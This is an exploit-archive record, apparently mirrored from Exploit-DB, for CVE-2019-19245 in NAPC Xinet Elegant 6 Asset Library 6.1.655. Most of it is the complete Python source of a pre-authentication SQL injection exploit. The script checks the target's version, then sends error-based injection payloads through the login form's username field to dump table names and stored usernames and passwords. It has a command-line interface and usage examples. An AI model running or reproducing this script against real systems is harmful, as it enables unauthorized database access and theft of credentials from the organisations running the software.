{"exploit":{"id":"EDB-52192","name":"Xinet Elegant 6 Asset Lib Web UI 6.1.655 - SQL Injection (SQLi)","description":"Xinet Elegant 6 Asset Lib Web UI 6.1.655 - SQL Injection (SQLi)","cves":["CVE-2019-19245"],"author":"hyp3rlinx","published":"2025-04-14","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52192","path":"exploits/multiple/webapps/52192.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52192.py","vulnerabilities":[{"id":"CVE-2019-19245","state":"PUBLISHED","title":null,"titleSource":null,"description":"NAPC Xinet Elegant 6 Asset Library 6.1.655 allows Pre-Authentication SQL Injection via the /elegant6/login LoginForm[username] field when double quotes are used.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2019-19245","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2019-19245"},"updatedAt":"2025-02-02T10:02:29.877Z","retrievedAt":"2026-11-27T01:10:17.079Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52192.png?v=2","url":"https://exploitbin.com/exploits/EDB-52192","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52192/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52192/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Xinet Elegant 6 Asset Lib Web UI 6.1.655 - SQL Injection\n# Exploit author: hyp3rlinx\n\nimport requests,time,re,sys,argparse\n\n#NAPC Xinet Elegant 6 Asset Library v6.1.655\n#Pre-Auth SQL Injection 0day Exploit\n#By hyp3rlinx\n#ApparitionSec\n#UPDATED: Jan 2024 for python3\n#TODO: add SSL support\n#===============================\n#This will dump tables, usernames and passwords in vulnerable versions\n#REQUIRE PARAMS: LoginForm[password]=&LoginForm[rememberMe]=0&LoginForm[username]=SQL&yt0\n#SQL INJECTION VULN PARAM --> LoginForm[username]\n#================================================\n\nIP=\"\"\nPORT=\"80\"\nURL=\"\"\nNUM_INJECTS=20\nk=1\nj=0\nTABLES=False\nCREDS=False\nSHOW_SQL_ERROR=False\n\n\ndef vuln_ver_chk():\n    global IP, PORT\n    TARGET = \"http://\"+IP+\":\"+PORT+\"/elegant6/login\"\n    response = requests.get(TARGET)\n    if re.findall(r'\\bElegant\",appVersion:\"6.1.655\\b', response.content.decode()):\n        print(\"[+] Found vulnerable NAPC Elegant 6 Asset Library version 6.1.655.\")\n        return True\n    print(\"[!] Version not vulnerable :(\")\n    return False\n\n\ndef sql_inject_request(SQL):\n\n    global IP, PORT\n    URL = \"http://\"+IP+\":\"+PORT+\"/elegant6/login\"\n\n    tmp=\"\"\n    headers = {'User-Agent': 'Mozilla/5.0'}\n    payload = {'LoginForm[password]':'1','LoginForm[rememberMe]':'0','LoginForm[username]':SQL}\n    session = requests.Session()\n\n    res = session.post(URL,headers=headers,data=payload)\n    idx = res.content.decode('utf-8').find('CDbCommand')  # Start of SQL Injection Error in response\n    idx2 = res.content.decode('utf-8').find('key 1')      # End of SQL Injection Error in response\n\n    return res.content[idx : idx2+3]\n\n\n\n#Increments SQL LIMIT clause 0,1, 1,2, 1,3 etc\ndef inc():\n    global k,j\n    while j < NUM_INJECTS:\n        j+=1\n        if k !=1:\n            k+=1\n        return str(j)+','+str(k)\n\n\ndef tidy_up(results):\n    global CREDS\n    idx = results.find(\"'\".encode())\n    if idx != -1:\n        idx2 = results.rfind(\"'\".encode())\n        if not CREDS:\n            return results[idx + 1: idx2 -2]\n        else:\n            return results[idx + 2: idx2]\n\n\n\ndef breach(i):\n    global k,j,NUM_INJECTS,SHOW_SQL_ERROR\n    result=\"\"\n\n    #Dump Usernames & Passwords\n    if CREDS:\n        if i % 2 == 0:\n            target='username'\n        else:\n            target='password'\n\n        SQL=('\"and (select 1 from(select count(*),concat((select(select concat(0x2b,'+target+'))'\n            'from user limit '+str(i)+', 1),floor(rand(0)*2))x from user group by x)a)-- -')\n\n        if not SHOW_SQL_ERROR:\n            result = tidy_up(sql_inject_request(SQL))\n            if result:\n                result = result.decode()\n        else:\n            result = sql_inject_request(SQL)+\"\\n\"\n            if result:\n                result = result.decode()\n        print(\"[+] Dumping \"+str(target)+\": \"+str(result))\n\n    #Dump Tables\n    if TABLES:\n        while j < NUM_INJECTS:\n            nums = inc()\n            SQL=('\"and (select 1 from (Select count(*),Concat((select table_name from information_schema.tables where table_schema=database()'\n                'limit '+nums+'),0x3a,floor(rand(0)*2))y from information_schema.tables group by y) x)-- -')\n\n            if not SHOW_SQL_ERROR:\n                result = tidy_up(sql_inject_request(SQL))\n            else:\n                result = sql_inject_request(SQL) + \"\\n\"\n            if result:\n                print(\"[+] Dumping Table... \" +str(result.decode()))\n            time.sleep(0.3)\n\n\n\ndef parse_args():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-i\", \"--ip_address\", help=\"<TARGET-IP>.\")\n    parser.add_argument(\"-p\", \"--port\", help=\"Port, Default is 80\")\n    parser.add_argument(\"-t\", \"--get_tables\", nargs=\"?\", const=\"1\", help=\"Dump Database Tables.\")\n    parser.add_argument(\"-c\", \"--creds\", nargs=\"?\", const=\"1\", help=\"Dump Database Credentials.\")\n    parser.add_argument(\"-m\", \"--max_injects\", nargs=\"?\", const=\"1\", help=\"Max SQL Injection Attempts, Default is 20.\")\n    parser.add_argument(\"-s\", \"--show_sql_errors\", nargs=\"?\", const=\"1\", help=\"Display SQL Errors, Default is Clean Dumps.\")\n    parser.add_argument(\"-e\", \"--examples\", nargs=\"?\", const=\"1\", help=\"Show script usage.\")\n    return parser.parse_args()\n\n\n\ndef usage():\n    print(\"Dump first ten rows of usernames and passwords\")\n    print(\"NAPC-Elegant-6-SQL-Exploit.py -i <TARGET-IP> -c -m 10\\n\")\n    print(\"\\nDump first five rows of database tables and show SQL errors\")\n    print(\"NAPC-Elegant-6-SQL-Exploit.py -i <TARGET-IP> -t -m 5 -s\\n\")\n    print(\"NAPC-Elegant-6-SQL-Exploit.py -i <TARGET-IP>  -p80 -t -c -m30\\n\")\n    exit(0)\n\n\ndef main(args):\n\n    global TABLES,CREDS,URL,IP,NUM_INJECTS,SHOW_SQL_ERROR\n\n    if args.ip_address:\n        IP=args.ip_address\n\n    if args.port:\n        PORT=args.port\n\n    if args.get_tables:\n        TABLES=True\n\n    if args.creds:\n        CREDS=True\n\n    if args.max_injects:\n        NUM_INJECTS = int(args.max_injects)\n\n    if args.show_sql_errors:\n        SHOW_SQL_ERROR=True\n\n    if args.examples:\n        usage()\n\n    if vuln_ver_chk():\n        for i in range(0, NUM_INJECTS):\n            breach(i)\n            time.sleep(0.3)\n\n\nif __name__=='__main__':\n\n    parser = argparse.ArgumentParser()\n\n    print(\"NAPC Elegant 6 Asset Library v6.1.655\")\n    print(\"Pre-Authorization SQL Injection 0day Exploit\")\n    print(\"Discovery / eXploit By hyp3rlinx\")\n    print(\"ApparitionSec\\n\")\n\n    time.sleep(0.5)\n\n    if len(sys.argv)== 1:\n        parser.print_help(sys.stderr)\n        sys.exit(0)\n\n    main(parse_args())","sha256":"a7841164913fc3f96ff518b2a39413506a0c1ec904d847cc2a3d15478e5b6622","bytes":5533,"fetchedAt":"2026-11-27T01:10:15.378Z","encoding":"utf-8 (display only; download retains original bytes)"}